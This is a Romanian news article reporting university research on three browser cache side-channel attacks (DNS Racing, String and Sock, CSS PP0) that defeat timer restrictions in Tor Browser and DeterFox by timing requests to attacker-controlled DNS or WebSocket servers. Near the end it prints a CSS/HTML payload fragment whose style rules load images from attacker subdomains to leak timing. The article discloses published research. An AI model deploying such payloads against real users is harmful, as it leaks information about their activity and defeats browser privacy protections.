Un grup de cercetători de la mai multe universități din Statele Unite, Israel și Australia a dezvoltat trei atacuri funcționale în browsere web pentru a extrage informații despre conținutul cache-ului procesorului. O metodă funcționează în browsere fără JavaScript, iar celelalte două ocolesc metodele existente de protecție împotriva atacurilor prin canal secundar, inclusiv cele utilizate în Tor browser și DeterFox. Codul pentru demonstrarea atacurilor, precum și componentele serverului necesare pentru atacuri, sunt publicate pe GitHub.
Pentru analiza conținutului cache-ului, în toate atacurile se utilizează metoda Prime+Probe, care presupune umplerea cache-ului cu un set de valori standard și determinarea modificărilor prin măsurarea timpului de acces la acestea în timpul umplerii repetate. Pentru a ocoli mecanismele de protecție existente în browsere, care împiedică măsurarea precisă a timpului, se efectuează apeluri la un server DNS sau WebSocket controlat de atacator în ambele variante, unde se înregistrează timpul de sosire al cererilor. Într-o variantă, timpul de răspuns DNS fixat este utilizat ca standard de timp.
Măsurătorile efectuate cu ajutorul serverelor externe DNS sau WebSocket, datorită utilizării unui sistem de clasificare bazat pe învățare automată, s-au dovedit suficiente pentru a prezice valorile cu o precizie de până la 98% în cel mai optim scenariu (în medie 80-90%). Metodele de atac au fost testate pe diferite platforme hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) și s-au dovedit a fi universale.

În prima variantă a atacului „DNS Racing”, se utilizează o implementare clasică a metodei Prime+Probe, care folosește array-uri JavaScript. Diferențele constau în utilizarea unui temporizator extern bazat pe DNS și a unui handler onerror, care se activează la încercarea de a încărca o imagine de pe un domeniu inexistent. Temporizatorul extern permite realizarea atacului Prime+Probe în browsere care restricționează sau dezactivează complet accesul la temporizatoarele JavaScript.
Pentru un server DNS situat în aceeași rețea Ethernet, acuratețea temporizării este estimată la aproximativ 2 ms, ceea ce este suficient pentru a efectua un atac prin intermediul canalelor externe (spre comparație, acuratețea temporizării standard JavaScript în Tor Browser este redusă la 100 ms). Pentru atac, controlul asupra serverului DNS nu este necesar, deoarece timpul de execuție al operațiunii este ales astfel încât timpul de răspuns de la DNS să fie un indiciu al finalizării mai rapide a verificării (în funcție de momentul în care handlerul onerror s-a activat, se concluzionează rapiditatea execuției operației de verificare cu cache).
A doua metodă de atac "String and Sock" vizează ocolirea metodologiilor de protecție care limitează utilizarea bazelor de date la nivel de sistem în JavaScript. În loc de baze de date, "String and Sock" utilizează operațiuni cu șiruri foarte mari, a căror dimensiune este aleasă astfel încât variabila să acopere întregul cache LLC (Last Level Cache). Ulterior, folosind funcția indexOf(), se caută o subșir mică în cadrul șirului, care inițial nu este prezentă în șirul original, adică operațiunea de căutare implică parcurgerea întregului șir. Deoarece dimensiunea șirului corespunde dimensiunii cache-ului LLC, scanarea permite efectuarea operațiunii de verificare a cache-ului fără manipularea bazelor de date. Pentru măsurarea întârzierilor, se folosește o conexiune către un server WebSocket controlat de atacator — înainte de a începe și după încheierea operațiunii de căutare în șir se trimit cereri, pe baza cărora se server calculează întârzierea utilizată pentru analiza conținutului cache-ului.
A treia variantă de atac „CSS PP0” este implementată prin HTML și CSS și poate funcționa în browsere cu JavaScript dezactivat. Metoda seamănă cu „String and Sock”, dar nu depinde de JavaScript. În cadrul atacului se formează un set de selectoare CSS care caută după un model. Lungimea inițială mare a șirului, care umple memoria cache, este setată prin crearea unei etichete div cu un nume de clasă foarte mare. În interior se plasează un set de alte div-uri cu identificatori proprii. Pentru fiecare dintre aceste div-uri închise se definesc stiluri proprii cu un selector care efectuează căutarea subșirurilor. La redarea paginii, browserul încearcă întâi să proceseze div-urile interne, ceea ce duce la executarea operației de căutare în șirul mare. Căutarea se realizează după un model ce știm că nu există și duce la parcurgerea întregului șir, după care se activează condiția „not” și se încearcă încărcarea unei imagini de fundal, referitoare la random. domenii: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Subdomeniile sunt gestionate pe serverul DNS al atacatorului, care poate măsura întârzierea în primirea cererilor. La toate cererile, serverul DNS returnează NXDOMAIN și păstrează un jurnal al timpului exact de accesare. Ca rezultat al procesării setului de div-uri, pe serverul DNS al atacatorului ajunge o serie de cereri, întârzierea dintre care corelează cu rezultatul verificării conținutului cache-ului.

Sursa: opennet.ro
